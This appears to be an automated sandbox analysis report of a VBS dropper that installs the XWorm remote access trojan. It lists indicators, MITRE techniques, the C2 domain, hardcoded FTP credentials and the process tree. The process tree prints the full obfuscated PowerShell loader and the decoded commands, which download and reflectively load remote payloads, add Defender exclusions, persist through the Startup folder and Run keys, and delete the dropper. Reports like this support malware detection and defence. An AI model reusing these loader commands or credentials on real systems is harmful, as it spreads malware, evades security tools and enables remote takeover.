Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 08:10

General

  • Target

    4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs

  • Size

    689KB

  • MD5

    0db817d8d07638cd81adee6852de57f7

  • SHA1

    ca6589dcd6d33e3cc5f65d492b81ae376606d9dd

  • SHA256

    4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2

  • SHA512

    e4d57643aa231040a079f35c9c8365dab6291f76a1ff6f28db373d7d664f2aae240c85a585aa1908bd744176e7e437d5bd9c0e78c22f7f48de12bacb159befc8

  • SSDEEP

    1536:VPPPPPPPPPPPPPPPPPPPPPPPE77777777777777777777777777777777777777Y:rnRC7pT0FT2w

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.desckvbrat.com.br
  • Port:
    21
  • Username:
    desckvbrat1
  • Password:
    developerpro21578Jp@@

Extracted

Family

xworm

Version

5.0

C2

dianganadores.duckdns.org:7080

:7080

Mutex

qGs2m5ptuM4htdW5

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qCybe = 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ㅚしHMせㅚしcgBlせㅚしHcせㅚしbwBwせㅚしCせㅚしせㅚしOwせㅚしpせㅚしCcせㅚしdQBzせㅚしG0せㅚしLgBuせㅚしGkせㅚしdwBwせㅚしFUせㅚしXせㅚしせㅚしnせㅚしCせㅚしせㅚしKwせㅚしgせㅚしGEせㅚしdせㅚしBzせㅚしGEせㅚしcせㅚしせㅚしkせㅚしCgせㅚしIせㅚしせㅚし9せㅚしCせㅚしせㅚしZQBsせㅚしGkせㅚしZgせㅚしkせㅚしDsせㅚしKQせㅚしgせㅚしGUせㅚしbQBhせㅚしE4せㅚしcgBlせㅚしHMせㅚしVQせㅚし6せㅚしDoせㅚしXQB0せㅚしG4せㅚしZQBtせㅚしG4せㅚしbwByせㅚしGkせㅚしdgBuせㅚしEUせㅚしWwせㅚしgせㅚしCsせㅚしIせㅚしせㅚしnせㅚしFwせㅚしcwByせㅚしGUせㅚしcwBVせㅚしFwせㅚしOgBDせㅚしCcせㅚしKせㅚしせㅚしgせㅚしD0せㅚしIせㅚしBwせㅚしHUせㅚしdせㅚしByせㅚしGEせㅚしdせㅚしBTせㅚしGQせㅚしbせㅚしBvせㅚしEYせㅚしJせㅚしせㅚし7せㅚしCkせㅚしJwB1せㅚしHMせㅚしbQせㅚしuせㅚしG4せㅚしaQB3せㅚしHせㅚしせㅚしVQBcせㅚしCcせㅚしIせㅚしせㅚしrせㅚしCせㅚしせㅚしYQB0せㅚしHMせㅚしYQBwせㅚしCQせㅚしIせㅚしせㅚしsせㅚしEIせㅚしSwBMせㅚしFIせㅚしVQせㅚしkせㅚしCgせㅚしZQBsせㅚしGkせㅚしRgBkせㅚしGEせㅚしbwBsせㅚしG4せㅚしdwBvせㅚしEQせㅚしLgBQせㅚしHcせㅚしagBzせㅚしGoせㅚしJせㅚしせㅚし7せㅚしDgせㅚしRgBUせㅚしFUせㅚしOgせㅚし6せㅚしF0せㅚしZwBuせㅚしGkせㅚしZせㅚしBvせㅚしGMせㅚしbgBFせㅚしC4せㅚしdせㅚしB4せㅚしGUせㅚしVせㅚしせㅚしuせㅚしG0せㅚしZQB0せㅚしHMせㅚしeQBTせㅚしFsせㅚしIせㅚしせㅚし9せㅚしCせㅚしせㅚしZwBuせㅚしGkせㅚしZせㅚしBvせㅚしGMせㅚしbgBFせㅚしC4せㅚしUせㅚしB3せㅚしGoせㅚしcwBqせㅚしCQせㅚしOwせㅚしpせㅚしHQせㅚしbgBlせㅚしGkせㅚしbせㅚしBDせㅚしGIせㅚしZQBXせㅚしC4せㅚしdせㅚしBlせㅚしE4せㅚしIせㅚしB0せㅚしGMせㅚしZQBqせㅚしGIせㅚしTwせㅚしtせㅚしHcせㅚしZQBOせㅚしCgせㅚしIせㅚしせㅚし9せㅚしCせㅚしせㅚしUせㅚしB3せㅚしGoせㅚしcwBqせㅚしCQせㅚしOwB9せㅚしDsせㅚしIせㅚしせㅚしpせㅚしCcせㅚしcgBnせㅚしDgせㅚしRせㅚしせㅚし3せㅚしG8せㅚしUgBzせㅚしGYせㅚしVgBjせㅚしHIせㅚしMgBuせㅚしEEせㅚしaせㅚしBmせㅚしGgせㅚしVgせㅚし2せㅚしEQせㅚしQwB4せㅚしFIせㅚしcQBuせㅚしHEせㅚしagせㅚし1せㅚしGoせㅚしcgBiせㅚしDEせㅚしJwせㅚしgせㅚしCsせㅚしIせㅚしBlせㅚしGwせㅚしVせㅚしBRせㅚしFgせㅚしJせㅚしせㅚしoせㅚしCせㅚしせㅚしPQせㅚしgせㅚしGUせㅚしbせㅚしBUせㅚしFEせㅚしWせㅚしせㅚしkせㅚしHsせㅚしIせㅚしBlせㅚしHMせㅚしbせㅚしBlせㅚしH0せㅚしOwせㅚしgせㅚしCkせㅚしJwB4せㅚしDQせㅚしZgBoせㅚしFoせㅚしTQB3せㅚしE4せㅚしNwBVせㅚしGUせㅚしXwせㅚしwせㅚしF8せㅚしNQBfせㅚしGkせㅚしYwBzせㅚしGIせㅚしaせㅚしせㅚし3せㅚしEMせㅚしUせㅚしせㅚしwせㅚしEkせㅚしZgBQせㅚしGQせㅚしQQせㅚしyせㅚしDEせㅚしMQせㅚしnせㅚしCせㅚしせㅚしKwせㅚしgせㅚしGUせㅚしbせㅚしBUせㅚしFEせㅚしWせㅚしせㅚしkせㅚしCgせㅚしIAA9ACAAZQBsAFQAUQBYACQAewAgACkAcgBlAFYAbgBpAFcAJAAoACAAZgBpADsAIAApACcANAA2ACcAKABzAG4AaQBhAHQAbgBvAEMALgBFAFIAVQBUAEMARQBUAEkASABDAFIAQQBfAFIATwBTAFMARQBDAE8AUgBQADoAdgBuAGUAJAAgAD0AIAByAGUAVgBuAGkAVwAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABlAGwAVABRAFgAJAA7ACkAJwB1AHMAbQAuAG4AaQB3AHAAVQBcACcAIAArACAAYQB0AHMAYQBwACQAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABhAHQAcwBhAHAAJAB7ACAAKQByAGUAdwBvAHAAcgBlAFYAJAAoACAAZgBpADsAIAApADIAKABzAGwAYQB1AHEARQAuAHIAbwBqAGEATQAuAG4AbwBpAHMAcgBlAFYALgB0AHMAbwBoACQAIAA9ACAAcgBlAHcAbwBwAHIAZQBWACQAIAA7AA==';$GBekT = $qCybe.replace('せㅚし' , 'A') ;$QlmBo = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $GBekT ) ); $QlmBo = $QlmBo[-1..-$QlmBo.Length] -join '';$QlmBo = $QlmBo.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs');powershell $QlmBo
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5068
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Verpower = $host.Version.Major.Equals(2) ;if ($Verpower) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$XQTle = 'https://drive.google.com/uc?export=download&id=';$WinVer = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ($WinVer) {$XQTle = ($XQTle + '112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$XQTle = ($XQTle + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$jsjwP = (New-Object Net.WebClient);$jsjwP.Encoding = [System.Text.Encoding]::UTF8;$jsjwP.DownloadFile($URLKB, $pasta + '\Upwin.msu');$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$GAwZn;$CSaXQ = (New-Object Net.WebClient);$CSaXQ.Encoding = [System.Text.Encoding]::UTF8;$CSaXQ.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$GAwZn = $CSaXQ.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$CSaXQ.dispose();$CSaXQ = (New-Object Net.WebClient);$CSaXQ.Encoding = [System.Text.Encoding]::UTF8;$GAwZn = $CSaXQ.DownloadString( $GAwZn );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs';[Byte[]] $xXzmx = [System.Convert]::FromBase64String( $GAwZn.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $xXzmx ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '0/9er1A/d/ee.etsap//:sptth' , $hzwje , 'true' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4100
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2608
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2384
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
          4⤵
            PID:2012
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3932
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\gywfz.ps1"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1660
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:4560
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs"
            4⤵
              PID:208

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\gywfz.ps1

        Filesize

        201KB

        MD5

        463285fb97220b9de509d3adfe193585

        SHA1

        a6347281bbdb4841376a1553fae481d310d6ff1c

        SHA256

        1879f2267c864a4fe741532efafc659502d8ffe21cc14d9bd008692d910b9a83

        SHA512

        7ab482253383edb7f238fe88e0e3f0bcd5d6ab9e77212975cd668417f47205f07864199411e277df752b7653316906304f12d0ffc5e1aa633a7ad476b6d53bd8

      • C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

        Filesize

        336B

        MD5

        c3fc7e724bdc6cf41b9925bc0ebb0da2

        SHA1

        2b6f910a48f3a7622719735a384807d789aba4c0

        SHA256

        19ab30c1c8fd60ea68f2b18c1f3401ac2a36062000731a85a6550283c6a9f7b6

        SHA512

        58fcacf75a27144c0ea29491663eb25b9913d1976757e48ee92010dfaa2db1c7294dd1872c26410bcfe4fd74134189e5873d83c9de3d6b683a8f09d8cfa37463

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d3e9c29fe44e90aae6ed30ccf799ca8

        SHA1

        c7974ef72264bbdf13a2793ccf1aed11bc565dce

        SHA256

        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

        SHA512

        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        6951f7ed0dc73b9fbc310c3903041dcf

        SHA1

        0f2d3213c54833dc839932dde44e8f2714129629

        SHA256

        d8dcc8baa8455ce732eb3dfd56288c142ded39c2db2d3be062e200d7dbd72424

        SHA512

        2b42fd727f1bbf8086b89b4873014eab1c0e6a1084f2e797e1accd4f58a5cee9f2d1e1c522fb443afd314ef96cc791d7c562d3eccedc1d12bf1fc6a98b493851

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        217d9191dfd67252cef23229676c9eda

        SHA1

        80d940b01c28e3933b9d68b3e567adc2bac1289f

        SHA256

        e64811c3e57476bb644539824034cabe2cabcb88941122193e2af328f5eb2133

        SHA512

        86767aa3c0eec425b7c6dbfd70a4a334fb5b1227c05fb06fbb3845e7b6974008386276f441c8e66e2bf9b0ae0a76133c4e5602211788cd702eaeadd12c5ff757

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_foyaarms.14c.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1660-78-0x00000163F5CF0000-0x00000163F5CFA000-memory.dmp

        Filesize

        40KB

      • memory/4100-22-0x000001ADC4450000-0x000001ADC445A000-memory.dmp

        Filesize

        40KB

      • memory/4560-79-0x0000000000400000-0x000000000040E000-memory.dmp

        Filesize

        56KB

      • memory/4560-81-0x0000000005810000-0x00000000058AC000-memory.dmp

        Filesize

        624KB

      • memory/5068-12-0x00007FF98BE80000-0x00007FF98C941000-memory.dmp

        Filesize

        10.8MB

      • memory/5068-1-0x000001CE1FFB0000-0x000001CE1FFD2000-memory.dmp

        Filesize

        136KB

      • memory/5068-0-0x00007FF98BE83000-0x00007FF98BE85000-memory.dmp

        Filesize

        8KB

      • memory/5068-11-0x00007FF98BE80000-0x00007FF98C941000-memory.dmp

        Filesize

        10.8MB

      • memory/5068-64-0x00007FF98BE80000-0x00007FF98C941000-memory.dmp

        Filesize

        10.8MB